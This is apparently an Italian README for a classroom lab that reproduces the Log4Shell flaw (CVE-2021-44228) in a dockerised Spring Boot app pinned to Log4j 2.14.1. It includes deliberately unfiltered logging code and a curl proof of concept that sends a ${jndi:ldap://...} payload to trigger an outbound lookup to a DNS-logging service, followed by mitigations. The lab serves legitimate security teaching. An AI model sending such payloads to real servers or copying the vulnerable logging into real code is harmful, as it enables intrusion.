
Studio tecnico e implementazione di un ambiente di test per la vulnerabilità Apache Log4j (CVE-2021-44228). Contiene un Proof of Concept (PoC) dockerizzato e una proposta di aggiornamento del PSSI. Per un obiettivo di TP.
Questo progetto è un ambiente di test controllato che consente di riprodurre e comprendere la falla critica Log4Shell (CVE-2021-44228) che colpisce la libreria Apache Log4j.
Secutp1/
├── Dockerfile # Construction de l'image Docker
├── pom.xml # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md # Ce fichier
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Application Spring Boot vulnérable
Dimostrare come un attaccante può sfruttare la falla CVE-2021-44228 per forzare un server a effettuare una connessione di rete in uscita non autorizzata, semplicemente inviando una stringa di caratteri dannosa.
pom.xml)Il file pom.xml forza l'utilizzo di Log4j 2.14.1, una versione precedente alla correzione di sicurezza:
<log4j2.version>2.14.1</log4j2.version>
Questa versione contiene la classe JndiLookup attivata per impostazione predefinita, che è la radice del problema.
VulnerableApplication.java)L'applicazione espone un servizio web REST. La vulnerabilità si trova nel metodo index:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNÉRABLE :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
Problema: L'applicazione recupera un parametro utente (input) e lo passa direttamente a logger.info() senza alcun filtraggio. Log4j interpreta quindi il contenuto come un potenziale comando.
Dockerfile)Il Dockerfile utilizza una costruzione in due fasi:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre💡 L'uso di Java 11 è pertinente perché le versioni più recenti limitano per impostazione predefinita il caricamento di classi remote.
Lo sfruttamento si basa sull'iniezione JNDI (Java Naming and Directory Interface):
${jndi:protocole://url} nei logAssicurati che i seguenti file si trovino nella stessa cartella:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
Questo comando scarica le dipendenze Maven (Log4j 2.14.1) e crea l'immagine.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
L'applicazione ora è in ascolto sulla porta 8080.
Vai su un servizio di logging DNS:
Copia l'indirizzo fornito (es: mon-test.dnslog.cn)
In un nuovo terminale, esegui il seguente comando:
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 Nota: Il carattere
\serve a eseguire l'escape del$nel terminale.
Torna sul sito dnslog. Vedrai apparire una richiesta DNS, a conferma che il server ha eseguito il codice iniettato.
Il server ha effettuato una connessione in uscita verso una macchina esterna semplicemente registrando nei log una richiesta utente.
In uno scenario reale, questa connessione avrebbe permesso di:
Per correggere questa vulnerabilità:
-Dlog4j2.formatMsgNoLookups=trueQuesto progetto è fornito esclusivamente a scopo educativo. Usalo in modo responsabile ed etico.
| Fase | Azione |
|---|
| 1 | L'applicazione Java riceve la richiesta HTTP |
| 2 | La riga logger.info(...) elabora il parametro input |
| 3 | Log4j rileva la sintassi ${jndi:...} |
| 4 | Log4j esegue la risoluzione LDAP verso il server remoto |
| 5 | Una richiesta DNS appare sull'interfaccia DNSLog |